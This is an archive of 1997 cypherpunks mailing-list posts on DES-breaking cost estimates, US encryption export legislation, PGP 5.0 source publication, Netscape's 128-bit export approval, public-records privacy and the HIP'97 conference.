Alaska was not only bombed by a foreign country (ie Japan) but it was the
only continental US location to actualy be invaded. Do a search on Kiska and
Dutch Harbor on Yahoo....

Hawaii was also bombed and last time I checked it was part of the US, the
same goes for Wake Is., Midway Is., and Phillipines.

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: C Matthew Curtin <cmcurtin@research.megasoft.com>
Date: Tue, 24 Jun 1997 21:33:09 +0800
To: Rick Smith <smith@securecomputing.com>
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210004.UAA26052@jazz.cape.com>
Message-ID: <199706241313.JAA00037@goffette.research.megasoft.com>
MIME-Version: 1.0
Content-Type: text/plain



>>>>> "Rick" == Rick Smith <smith@securecomputing.com> writes:

>> I can't remember it word for word, but it went like this: "If
>> you're going to decrypt financial transactions you'd better be
>> prepared to get 1000 computers and spend 3 months on the project."

Rick> At least Harry Houdini made it look easy when *he* cracked state
Rick> of the art security technology...

I was on the Talk America radio network very briefly Monday morning
(about 6:30-6:40 EDT).  The host read something like that, and
observed that it "must be pretty secure" to take three months.

I asked him how long it would be before his credit cards expired.

He got the point.

-- 
Matt Curtin  Chief Scientist Megasoft Online  cmcurtin@research.megasoft.com
http://www.research.megasoft.com/people/cmcurtin/    I speak only for myself
Pull AGIS.NET's plug!  DES has fallen! http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Unicorn <hvdl@sequent.com>
Date: Tue, 24 Jun 1997 15:49:48 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <19970624093626.28356@amsqnt.nl.sequent.com>
MIME-Version: 1.0
Content-Type: multipart/signed; boundary="Boundary..3963.1071713710.multipart/signed"

--Boundary..3963.1071713710.multipart/signed
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

On Jun 23, Lucky Green <shamrock@netcom.com> apparently wrote:
> At 11:46 PM 6/23/97 -0400, Adam Shostack wrote:
> >Lucky Green wrote:
> >| Who on this list intends to go to HIP'97? http://www.hip97.nl
> >| I would like to organize a C*punks meeting there.
> >
> >I'm going to go to Beyond Hope instead.  (www.2600.com)
> 
> Which will have live links with HIP. MBONE meeting, anyone?

There will  be links between HIP  and Beyond HOPE. Both  video and sound
(even GSM if the  patched phones will work in the US :-).  And I am sure
there will  be other cypherpunks  attending HIP  (I for one  will attend
HIP).

> --Lucky Green <shamrock@netcom.com>

Ciao,
Unicorn.
-- 
======= _ __,;;;/ TimeWaster on http://www.IAEhv.nl/users/hvdl ==============
     ,;( )_, )~\| Hans "Unicorn" Van de Looy     PGP: 64 07 5D 4C 3F 81 22 73
    ;; //  `--;   GSM: +31 653 261 368                52 9D 87 08 51 AA 35 F0
==='= ;\ = | ==== Youth is not a time in life, it's a State of Mind! ========



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eW9SanRwZ1Q2clhPakh1K0czYXFGY3gzYlZtbEx4Q2p2SngwSG5xZ0lPNEtZ
QjRUc3JOcWJwTwpFMkVHUFkwaHFJUmUzN2N3RXIvaWo3bXB0Z1RweDM0QTJy
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TkFUVVJFLS0tLS0K
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Tue, 24 Jun 1997 07:55:45 +0800
To: cypherpunks@toad.com
Subject: The spam thread
Message-ID: <Pine.SOL.3.91.970624093724.9216A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



Ooops,

looks like i started a raging debate. Sorry if this debate bores anybody 
but as was said to me, just delete it.

I notice nobody commented on the i just dont want advertising in my 
mailbox point, and why shouldn't they be billed. 

What i suggested WASN'T a new law that could be abused etc. It was a very 
minor legal precedent, where the owner of a phone or email box could be 
paid for advertising in in IF the marketer was informed. 

To Ross, SPAM may be freedom of expression as my child pornography, but 2 
things,

1. What about my rights to privacy, and my rights to my mailbox that I 
pay for. Why should it be used as an advertising medium if i font want it 
to be used for one ??

2. By your argument, mailbombing of all flavours is free expression and 
should be allowed. Seeing as this follows logically RU going to get upset 
if i mail bomb you ??

All this started when i asked if SPAM might be coming through this list, 
i didn't think it would have tyhis effect, but discussion is healthy.

Anyway shall we let this thread die at this point ??

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 24 Jun 1997 22:23:34 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Comparing Cryptographic Key Sizes
Message-ID: <199706241351.GAA20823@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes.

> Below is a explanation of the meaning of cryptographic key sizes which
> started as an explanation I wrote for a journalist friend of mine, on
> being asked about how relatively secure a system using DES and RSA
> (SET) was as compared to netscapes export version of SSL.
 
> It could use some criticism.  If you are not that crypto aware, does
> it make sense to you?  If you are crypto aware, what do you think of
> my off the cuff estimates of hardness?
> 
> 
> 56 bit DES is probably roughly similar to 512 bit RSA in hardness to
> break.

This is way off. We used ~457,000 MIPS years to search half of the 
DES keyspace. Factoring a 512 bit modulus using the General Number
Field Sieve (GNFS) would take about 28,000 MIPS years (see Schneier
for the exact number - I don't have AC2 at hand)

Lenstra has estimated that with 500,000 MIPS years, you should be
able to factor a 600 bit modulus using GNFS, if your workstations 
had enough memory.

[...]

> About 10 years ago now Michael Wiener made a design for such a DES
> breaking machine.  He estimated it would cost $10,000,000 to build a
> machine which would break a 56 bit DES encrypted message a few hours.
> His machine was scalable, pay more money, break the key faster, pay
> less take longer.  The estimate was that could build one with enough
> DES key searching units to break it in a day for $1,000,000.  That was
> 10 years ago.  10 years is a long time in the computer industry.
> Nowadays you build the machine more cheaply as chip technology has
> progressed, and computers are much faster per $.  Estimates are around
> $100,000 to build the machine (neglecting hardware engineers
> consultancy fees).

Go back and check the numbers - if you don't the journalists will. 
(I don't have this paper to hand either :-( ) The Wiener paper is 
much more recent (93?) , and the cost much lower (I think it was 
about $1M for HW and $500K for development costs, for a 3.5 hour 
machine).

Peter Trei
trei@process.com
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 25 Jun 1997 01:24:31 +0800
To: cypherpunks@cyberpass.net
Subject: Political Prisoner of Intel
Message-ID: <199706241712.KAA10035@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain





         http://www.rahul.net/jeffrey/ovs


--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Wed, 25 Jun 1997 01:29:32 +0800
To: cypherpunks@Algebra.COM
Subject: CNN - Encryption bill expected to pass House - June 23, 1997
Message-ID: <33B003B5.689A@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.cnn.com/TECH/9706/23/encryption.reut/index.html

Encryption bill expected to pass House

June 23, 1997
Web posted at: 10:05 p.m. EDT (0205 GMT) 

WASHINGTON (Reuter) -- Legislation to
relax U.S. export limits on computer-encoding
technology is likely to move ahead in the
House of Representatives this week, despite
a severe setback in the Senate last week. 

The House International Relations' economic
policy and trade subcommittee will vote on a
bill Tuesday, chairwoman Ileana
Ros-Lehtinen, Republican of Florida, said. 

Current U.S. law strictly limits export of encryption software, which
scrambles
information and renders it unreadable without a password or software
"key." 

Once the realm of spies and generals, encryption has become a critical
technology to safeguard electronic commerce and global communications
over
the Internet. 

In the Senate last week, a similar bill to relax encryption-export
controls was
torpedoed when the Senate Commerce Committee approved a substitute which
would only modestly ease export restrictions. It effectively would allow
the
government to crack encrypted messages in the United States by gaining
access
to the software keys. 

The Clinton administration has been a strong proponent of so-called
key-recovery mechanisms, arguing that the proliferation of strong
encryption
without key recovery would hamper law-enforcement and national security
agencies' ability to keep tabs on criminals and terrorists. 

The House bill under consideration relaxes export rules without
requiring key
recovery. 

With 125 co-sponsors in the House, and "enthusiastic support" from
industry
and civil liberties and privacy advocates, the bill "is expected to be
passed with
limited changes," Ros-Lehtinen added. 

The bill could face a tougher challenge when considered by the full
International
Relations Committee. Chairman Benjamin Gilman, Republican of New York,
is
not a strong supporter of export liberalization, congressional staffers
said. 

U.S. software companies such as Netscape Communications, and Microsoft
Corp. have been clamoring for relief from encryption export controls. 

Copyright 1997 Reuters Limited. All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 24 Jun 1997 22:47:59 +0800
To: Jim Choate <cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: How did these people find our list? (fwd)
In-Reply-To: <199706241153.GAA25486@einstein.ssz.com>
Message-ID: <3.0.2.32.19970624103011.0077d820@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



------BEGIN PGP SIGNED MESSAGE-----

At 06:53 AM 6/24/97 -0500, Jim Choate wrote:
>Alaska was not only bombed by a foreign country (ie Japan) but it was the
>only continental US location to actualy be invaded. Do a search on Kiska and
>Dutch Harbor on Yahoo....
>
>Hawaii was also bombed and last time I checked it was part of the US, the
>same goes for Wake Is., Midway Is., and Phillipines.

Though neither Alaska nor Hawaii were states at the time.  Oregon was 
actually hit twice.

June 21, 1942, Fort Stevens at the mouth of the Columbia in Oregon is fired 
upon by the deck gun of a Japanese submarine. The first continental costal 
battery to be attacked by a foreign enemy (not counting those Southerners) 
since the War of 1812.  The Japs fire 17 shells. No apparent damage.  Fort 
Stevens is unable to depress its guns sufficiently to hit the submarine.  A 
draw.

See http://www.ohwy.com/or/f/ftsteven.htm and
http://www.owt.com/phs/classrooms/peto/3forts/stevens.html

Oregon also suffered the U.S. Mainland's only domestic casualties due to 
enemy action when a teacher and members of her family on a hike in southern 
Oregon were killed by a Japanese balloon bomb.  (These bombs were attached to 

balloons released from Japanese submarines off the coast.)

That doesn't excuse Oreganos being commies, however.

DCF


------BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBM6/ZuIVO4r4sgSPhAQGpYwP+PBaKiveJRNcDYz5VyCtUdKJeTgBIsNIH
D31prwQn+BeiMKXZ26KLfRfVBbK4441pLHna1BlQ3bc4whjN/pTobVQon4W8Y1zm
2Rvu2dOInzVZKBTgRwWTxl5Bm+sjwt+tI3FNCuQUHaBiP1moECaXlr5d5Zzby6aa
mbR6CVG6L/k=
=xSVQ
------END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 25 Jun 1997 02:01:11 +0800
To: Mark Grant <cypherpunks@toad.com
Subject: Re: New PGP signatures (fwd)
In-Reply-To: <Pine.SOL.3.96.970624020657.16641D-100000@sirius.infonex.com>
Message-ID: <3.0.2.32.19970624104616.006fa0ec@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:08 AM 6/24/97 -0700, Mark Grant wrote:
>It's kind of hard to modify the code when I'm still waiting for the PGP
>5.0 code to be made available. I can't do a lot until people finish
>OCR-ing it. 

Note that the scanning teams are looking for non-US volunteers to proofread
the scanns. Each volunteer gets 100 pages. They must have access to a box
with perl and a C compiler to process the per-page error correcting code.
You *don't* need a scanner.

See http://www.ifi.uio.no/pgp/pgp50.shtml for more info.




--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: chewp@pacific.net.sg
Date: Tue, 24 Jun 1997 11:12:47 +0800
To: cypherpunks@toad.com
Subject: digital signature software
Message-ID: <19970624025616.AAA17409@ping>
MIME-Version: 1.0
Content-Type: text/plain




Hi

Besides PGP and RIPEM/SIG, is anyone aware of other
US-exportable digital signature software?

Thanks

Lip Ping

chewp@pacific.net.sg





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Wed, 25 Jun 1997 02:24:22 +0800
To: tzeruch@ceddec.com
Subject: Re: Hettinga's e$yllogism
In-Reply-To: <97Jun24.134510edt.32257@brickwall.ceddec.com>
Message-ID: <Pine.GSO.3.96.970624110719.3045A-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997 tzeruch@ceddec.com wrote:

> 
> On Sun, 22 Jun 1997, Robert Hettinga wrote:
> 
> > You just need to tell them that S909 will kill the commercial internet, and
> > all the billions that have been invested in it.
> 
> More to the point, it will kill the commercial internet within the US.  We
> could ban steelmaking for environmental or safety reasons, which would not
> stop it, but then our steel producers and automakers would be out of
> business.  I think the US may have one, maybe two years before we lose the
> entire crypto industry to overseas.  We may still write the academic
> articles, but all the software and hardware will be imported.  After all
> the problems about losing jobs, we are actively destroying this sector of
> high technology.

Not only that, it will open up many (most?) US systems up to being hacked
by making effective and usable forms of security either expensive or
unworkable.  (How much of the free security software is distributed
through universities and government agencies?  Quite a bit from what I
have seen.)

S909 will be a disaster no matter how you look at it.  It will weaken
security for much of the net.  I find the idea that this is being done for
"National Security" to be frightening.  Can they really be that clueless
or is something else planned?  All this to prosecute (not even really
catch) a hand full of kiddy pornographers...

"We had to destroy the global village in order to save it." - Sen Kerrey.

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 02:40:59 +0800
To: cypherpunks@cyberpass.net
Subject: Making _Real_ Money off a DES Break
In-Reply-To: <3.0.2.32.19970624162104.007bb990@middx.x.co.uk>
Message-ID: <v03102803afd5c15420c6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:54 AM -0700 6/24/97, Adam Back wrote:
>Re comments that I should re-read the paper, here is what Wiener's
>paper says about estimated costs of a specialized DES key breaker:
>
> $100,000 for a machine to break DES in an average of  35 hrs
> $1 mil   for a machine to break DES in an average of 3.5 hrs
> $10 mil  for a machine to break DES in an average of  21 mins
...
>35 hours sounds a reasonable amount of time to break a Swift banking
>transfer key protecting trillions of dollars of funds.
>

Show me the money! A DES break that resulted in a loss of several tens of
millions of dollars, suitably publicized, would be both educational and
rewarding.

We often talk about the "threat model." But what's the _profit model_ for
breaking DES?

Can money be made by breaking a SWIFT transfer in approx. 35 hours?

(Personally, I doubt it. Between increasing use of 3DES and "time windows"
which are probably much shorter than tens of hours, I doubt a Wiener
machine would be of much use to a hacker.)

Of course, the payoffs could be huge. If the banking system is really
vulnerable to this sort of attack, then why has some private group not
financed the building of a Wiener machine? (I know many people who could
pay for such a machine out of "spare cash," if the profits/risks were
there; I'm not saying *I* would, of course, only that the amounts are not
so high. The cheapest of the listed machines above is comparable in price
to a Jaguar XK8.)

Is anyone publishing on this? Are the details of the SWIFT and similar
interbank transfer systems available anywhere?

(What kind of out-of-band checksums may exist? What kind of callback
systems? What window of opportunity exists if a single DES key is found? Is
it useful?)

--Tim May




There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bull@juno.com
Date: Wed, 25 Jun 1997 00:00:07 +0800
To: cypherpunks@toad.com
Subject: [ PGP 2.6.3 ]
Message-ID: <19970624.114147.7679.2.bull@juno.com>
MIME-Version: 1.0
Content-Type: text/plain



Can someone give me a site where I can get a compiled copy of PGP 2.6.3?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 02:55:08 +0800
To: cypherpunks@Algebra.COM
Subject: Liberating PGP 5.0 Source Code the Old-Fashioned Way
In-Reply-To: <Pine.SOL.3.96.970624020657.16641D-100000@sirius.infonex.co m>
Message-ID: <v03102804afd5c4beee42@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:46 AM -0700 6/24/97, Lucky Green wrote:
>At 02:08 AM 6/24/97 -0700, Mark Grant wrote:
>>It's kind of hard to modify the code when I'm still waiting for the PGP
>>5.0 code to be made available. I can't do a lot until people finish
>>OCR-ing it.
>
>Note that the scanning teams are looking for non-US volunteers to proofread
>the scanns. Each volunteer gets 100 pages. They must have access to a box
>with perl and a C compiler to process the per-page error correcting code.
>You *don't* need a scanner.

A lot of work that could better be spent in other areas.

Why doesn't one of the many persons with access to the PGP 5.0 code already
in machine readable form just mail it to the group doing the scanning and
whatnot?

(Using remailers, obviously. And even making it look like a porno image
file. Whatever. Even easier: just put the source code CD-ROM in an envelope
and mail it to Norway. "Duh.")

This would shorten the process, and the Norwegian group could announce
"We're done!!!"

So, PGP employees, do it today.

(Or send me the source on CD-ROM.....)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 25 Jun 1997 00:07:05 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: William Just doesn't get it.
In-Reply-To: <199706240318.WAA01933@mailhub.amaranth.com>
Message-ID: <Pine.SUN.3.96.970624113126.8208A-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, William H. Geiger III wrote:

> Only one here being clueless is you Ray.

Thanks for the compliment.  I burp in your general direction.
 
> The state is not allowed to engage in secret activities with select
> members of society. Whenever it issues a permit or a license to someone it
> is public knowledge. Whenever someone is arrested, whenever there is a
> trial both great and small the full details are public information.

Asking the state to protect my privacy by not disclosing the information I
disclose to it is not asking the state to engage in secret activities with
select members of society.  It is asking it not to release information
that I am forced to give them in return for certain goods, services, or
privilidges - driving for example.  Having a driver's license doesn't mean
I wish to share the information that the DMV requires to provide such a
license to the world.

Paying taxes doesn't mean I wish to disclose my 1040 form to the world.
 
> All actions of the state *must* be reviewable by the citizens. You can not
> have a free and open society without the people being able to check on
> what it's government is doing.

And tell me dear William, in what way will you prevent the government from
taking capricious actions against a free and open society by allowing
anyone to find out a phone number that is unlisted by simply calling up
DMV records?

This isn't keeping tabs on the government, this is keeping tabs on the
people which the government choses to infringe on.

If the DMV wasn't giving licenses to certain types of people and one
believed that this was the case, one should ask those people who felt that
they were discriminated against.  One should not have the ability to look
at EVERY record in the DMV databases - no matter how noble the thought.

This is not to protect the DMV, this is to protect those listed within its
databases.

> This means that all of the following *must* be open to the public:

Again, by your oppinion, not mine.  And no, I don't believe in a "free and
open" society.  I believe in a "free and private" society.
 
> Criminal Records

As for these, IMHO, once a criminal has completed their sentence they
should be allowed to have a life.  Having these records available to all
is a means of discriminating against them for having commited a crime as
judged by a jury.  Not necessarily having commited the crime, but being
convicted of doing so - as is well known mistakes have been made and lives
have been destroyed by such mistakes.

IMHO, repeat offenders will wind up in jail again, and will be punished
again.  This should not infringe on their right to secure jobs or the
right to rent, or buy homes.

The idea of the justice system is to correct these wrongs, not to punish
for life.  Once the debt is paid, it is paid.  There are some who believe
that offenders should not be re-released into society because they will
commit more crimes, and/or that the communities should be notified when
they are allowed to move there.  If it is the case that person X is likely
to commit more crime, then that fact should play a factor in person X's
parole hearing.  IMHO, if the danger is there, don't let the bastard out.
If it isn't, then let them go and let them live in peace and privacy.

> Voter Registrations

These too can be both a benefit and an infringement on privacy.  Whatever
information these records hold might be used for other purposes.

> Census Records

Why?  What is the purpose of having these records available in forms other
than a number?

> Building Permits

I agree here.

> Profesional Licenses

Sure, but only so far as to say "Yep, person X has this license" not "and
they live on xyz street, have three kids, and a poodle."

> Court Transcripts

Granted.

> Federal Records
> State Records
> County Records
> City Records

Granted, but which specific records?

> ect, ect, ect.

clue: You mean etc as in "Et Cetera."

> The problem here is *NOT* that this information is public. The problem is
> that the goverment has got it's fat little fingers into everything. The
> solution is *NOT* letting the state hide what it is doing with these so
> called privacy laws but to get the state out of where it has no business
> being in the first place!!!

I agree that there is ALSO a problem that the government has its fat
fingers in everything and is allowed to do things that others aren't
allowed to do.  For instance many places where gambling is illegal provide
lotteries with astronomical odds against the player.  Were the things done
by casinos, nobody would play.

I agree that what the state does and whom they interact with should be
public knowledge.  I do not agree that by virtue of interacting with the
state that I should be force to give up my privacy.  I do not have the
choice of not interacting with the state due to lovelies such as income
taxes and drivers licenses - I should not be forced to give up privacy as 
well because of this.

Based on what you say everything the state does should be public.  Fine,
but if anyone were able to see anyone else's 1040 forms, you'd have a lot
of invasion of privacy.  This is what you fail to see or understand.  This
isn't a strawman, it's plain fact.  If I can see your return, I can see
how much you make, whatever deductions or exemptions you claim can give me
a slew of information as to what you have purchased and your general life
style.  The address info and SSN will give me even more keys into your
info.  Birth and Marriage records will tell me who your mother is, then I
can look up her records, and find her maiden name, then I can take your
SSN, your mother's maiden name, your date of birth and hand them over to
TRW and see your credit card purchases, etc.  This is the thing that
should not be that you are advocating, the thing I and fighting you on.  I
think that it is indeed the case that you require a few clues.

> And this has nothing to do with GAK or any other 1984ish monitoring of
> citizens. The issue here is bringing the activities of the state into the
> light of day. The activities of the citizens that do not directly involve
> the state are not at issue here.

Then DMV records should not be fully visible, neither should 1040 forms,
for example.  But the key is "that do not directly involve the state"  The
problem is that the state directly involves us into their activities and
we directly involve them through our votes.  That is the key that will
unlock the records into the activities of the citizens, and unlock their
privacy when they should not.

For the most part we agree - the government's activities should be public
knowledge and should be watched and reviewed carefully.  However in your
eagerness to make this happen you would also strip away the privacy of the
citizens only because the government interacts and forces itself on
interacting with them.

And that is the clue you fail to get.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
..\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
<--*-->| ------------------ | syrup, don't you?"                     |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 25 Jun 1997 03:40:09 +0800
To: cypherpunks@Algebra.COM
Subject: The Grand Compromise is Coming
In-Reply-To: <33B003B5.689A@nwdtc.com>
Message-ID: <v03102805afd5d070ad81@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:43 AM -0700 6/24/97, Declan McCullagh wrote:
>Yeah, I'm going to the markup later this afternoon. I ran into Goodlatte in
>the Capitol this morning; he seemed cautiously optimistic.
>

The terrible, terrible S.909 McCain-Kerrey bill is probably a negotiating
card in the coming Grand Compromise.

When even editorial writers for the Establishment Papers are against it,
when industry is against it so vocally, it won't pass the full Congress.

But it will have served its purpose.

It will make many groups _satisfied_ to reach "a compromise we can all live
with." The various cyber-rights [sic] groups will probably trumpet this as
a victory, as "the best we could get."

Somewhere between SAFE, a bad bill, and McCain-Kerrey, a reprehensible
bill, lies the Grand Compromise.

I reject it all.


--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ariel Glenn <ariel@watsun.cc.columbia.edu>
Date: Wed, 25 Jun 1997 00:48:48 +0800
To: cypherpunks@cyberpass.net
Subject: Netscape, 128-bit export
Message-ID: <CMM.0.90.4.867170404.ariel@stealth.cc.columbia.edu>
MIME-Version: 1.0
Content-Type: text/plain



from their web site, at
http://www.netscape.com/flash2/newsref/pr/newsrelease428.html
---

MOUNTAIN VIEW, Calif. (June 24, 1997) -- Netscape Communications
Corporation (NASDAQ: NSCP) today announced the
United States Department of Commerce has granted the company permission
to export Netscape Communicator client software
with 128-bit encryption capabilities. Available for immediate download
from the Netscape Internet site, Netscape Communicator
with strong encryption would allow users worldwide to enjoy far greater
protection for their information when communicating with
certified, strong encryption applications on Intranets and the
Internet. 

Netscape also received approval to export Netscape SuiteSpot server
software featuring 128-bit encryption capabilities to certified
banks worldwide. VeriSign will be providing a special-use digital
certificate which enables the encryption. This will allow Netscape
Communicator users to access their banking information from almost
anywhere in the world and communicate using strong
encryption with those banks which have implemented Netscape SuiteSpot
servers and completed the certification process. 

--- some pr crap deleted ---


International users who have Netscape Communicator do not need to
download a new version of Netscape Communicator to take
advantage of the strong encryption capabilities being announced today.
Negotiation of the strong encryption between international
versions of Netscape Communicator and Netscape SuiteSpot servers
approved for export to banks occurs through a unique
mechanism based on a special-use digital certificate.

etc...

-----

So... is this new approval for export of 128-bit encryption 
only for encryption between the users and these banks,
or is it general? If it's general, is GAK built in or not?
And if not, how did they get approval?

Ariel Glenn / AcIS R&D / Columbia University
ariel@columbia.edu
#include <stddisclaimer.h>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Wed, 25 Jun 1997 04:08:11 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Making _Real_ Money off a DES Break
In-Reply-To: <v03102803afd5c15420c6@[207.167.93.63]>
Message-ID: <Pine.3.89.9706241247.A12622-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 24 Jun 1997, Tim May wrote:
> Is anyone publishing on this? Are the details of the SWIFT and similar
> interbank transfer systems available anywhere?
> 
> (What kind of out-of-band checksums may exist? What kind of callback
> systems? What window of opportunity exists if a single DES key is found? Is
> it useful?)

All this interesting stuff is specified in exhaustive detail in ANSI X9 A10.
http://www.x9.org/

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tzeruch@ceddec.com
Date: Wed, 25 Jun 1997 00:53:48 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: New PGP signatures
In-Reply-To: <Pine.3.89.9706231540.A13824-0100000@netcom2>
Message-ID: <97Jun24.124732edt.32257@brickwall.ceddec.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 23 Jun 1997, Lucky Green wrote:

> 
> On Mon, 23 Jun 1997 tzeruch@ceddec.com wrote:
> 
> [On PGP switching to SHA-1/ElGamal]
> > They could have supported RSA/SHA if they wanted to.  They also put 3DES
> > and IDEA support as options in the manual (but not in the freeware or
> > tryit versions that I can see).
> 
> I guess suggestions such as the one above prove that CP is still attracting 
> newbies. That's a good thing. Now if they only read the FAQ.
> 
> The patents for DH (which cover the public domain ElGamal) expire this
> Fall. By using SHA-1/ElGamal, PGP is moving to a technology that will soon
> no longer require paying large sums of money to RSA for the use of a
> one-line mathematical formula. This is *a good thing*. 

PGP 5.0 is still covered by patents since it still has RSA in there to
read old messages.  Also (except for the legal pettifoggery), PGP is
supposed to have licenses to RSA. 

I was speaking technically, not politically.  If MD5 is broken, replacing
MD5 with SHA1 is the fix.  If my transmission is broken, I don't also need
a new engine.  The antecedent post mentioned the reason to change PGP was
a technical flaw.  My point (which echos the FAQ) is that there were other
forces at work - legal and economic factors.  So prepend "If all they were
interested in was fixing TECHNICAL weaknesses in PGP " to my comment.

If abandoning one standard and requiring the world to change to a
radically changed incompatible new one is "a good thing", it is only
because paying extortion is not, which is a sentiment I agree with.

I do think it is a shrewd move, since now the worst thing RSA can do to
them is not allow them to sell backward compatible versions in the US,
were I in their position I would probably do the same thing.

On the other hand, if PGP5+ messages are not covered by any licensing
restrictions on the technology, then PGP5+ can be cloned (i.e. a fully
interoperable version without any code from PGP inc.).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 24 Jun 1997 23:12:15 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Who is going to HIP'97?
In-Reply-To: <3.0.2.32.19970623202236.00702490@netcom9.netcom.com>
Message-ID: <Pine.LNX.3.91.970624130317.724D-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Who on this list intends to go to HIP'97? http://www.hip97.nl
> I would like to organize a C*punks meeting there.

I have been thinking about it, I may come over for one day:

Do you know what crypto presentations are taking place? I think Lutz 
Donnerhacke is giving a presentation on smart card security and 
supposedly there is some GSM stuff.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
